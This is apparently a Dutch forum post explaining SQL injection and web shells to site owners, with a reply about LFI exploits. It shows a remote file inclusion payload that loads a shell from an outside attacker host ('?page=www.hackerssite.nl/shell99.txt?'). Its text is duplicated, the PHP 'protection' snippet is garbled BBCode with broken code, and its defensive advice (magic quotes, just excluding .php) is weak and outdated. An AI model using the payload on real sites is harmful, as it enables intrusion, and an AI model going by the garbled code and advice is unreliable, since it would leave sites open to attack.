Hoofdstukken
-Sql injection.
-Shell.
--Manieren waarop een shell geupload word.
---Upload systeem.
---?page=www.shell.nl/txt.txt?
Laten we beginnen.
wat is een sql injectie?
een sql injectie is een omleiding om in een Database te komen.
zo zou je wachtwoorden en emails enz kunnen achterhalen
Sql injections Zijn makkelijk te voorkomen.
hoe werkt het.
je hebt de link /page=nieuws.php?id=1
je kunt testen of jou website te hacken is door een voor de 1 te zetten.
/page=nieuws.php?id=1 Krijg je dan een error zoals.
je kunt het zo voorkomen
Shell
een shell zorgt ervoor dat ze alle paginas op jouw website kunnen lezen en veranderen.
een shell word geupload op jou website.
door een upload systeempje of een Get page die niet beveiligd is.
let op!
?page=nieuws.php is de link.
als jou website google included als je dit er van maakt
?page=www.google.nl
dit zou bijvoorbeeld ook kunnen zijn
?page=www.hackerssite.nl/shell99.txt?
nu laat het het txt bestand zien maar omdat hij het leest word het php en activeer je de shell
Dan is het niet veilig hoe je dit beveiligd hangt van het script af.
een upload script gaat makkelijker dan moet je gewoon .php uitsluiten!
-Sql injection.
-Shell.
--Manieren waarop een shell geupload word.
---Upload systeem.
---?page=www.shell.nl/txt.txt?
Laten we beginnen.
wat is een sql injectie?
een sql injectie is een omleiding om in een Database te komen.
zo zou je wachtwoorden en emails enz kunnen achterhalen
Sql injections Zijn makkelijk te voorkomen.
hoe werkt het.
je hebt de link /page=nieuws.php?id=1
je kunt testen of jou website te hacken is door een voor de 1 te zetten.
/page=nieuws.php?id=1 Krijg je dan een error zoals.
Unknown column veld in where clause je kunt het zo voorkomen
[COLOR= #0000BB]<?php[/COLOR]
[COLOR= #FF8000]// Magic quote check[/COLOR]
[COLOR= #0000BB]$magicQuotesEnabled[/COLOR] [COLOR= #007700]= ([/COLOR]bool[COLOR= #007700])[/COLOR] [URL="http://www.php.net/ini_get"]ini_get[/URL][COLOR= #007700]([/COLOR][COLOR= #DD0000]magic_quotes_gpc[/COLOR][COLOR= #007700]);[/COLOR]
[URL="http://www.php.net/if"]if[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$magicQuotesEnabled[/COLOR] [COLOR= #007700]===[/COLOR] true[COLOR= #007700]) {[/COLOR]
Application[COLOR= #007700]:[/COLOR]SMILEYYYYYYYYYYYBEGIN[COLOR= #007700]:[/COLOR]superglobal_strip_slashes[COLOR= #007700]();
}[/COLOR]
?> Shell
een shell zorgt ervoor dat ze alle paginas op jouw website kunnen lezen en veranderen.
een shell word geupload op jou website.
door een upload systeempje of een Get page die niet beveiligd is.
let op!
?page=nieuws.php is de link.
als jou website google included als je dit er van maakt
?page=www.google.nl
dit zou bijvoorbeeld ook kunnen zijn
?page=www.hackerssite.nl/shell99.txt?
nu laat het het txt bestand zien maar omdat hij het leest word het php en activeer je de shell
Dan is het niet veilig hoe je dit beveiligd hangt van het script af.
een upload script gaat makkelijker dan moet je gewoon .php uitsluiten!




En je houd ook geen rekening met LFI exploits waarmee hij bijv. het config bestand kan nemen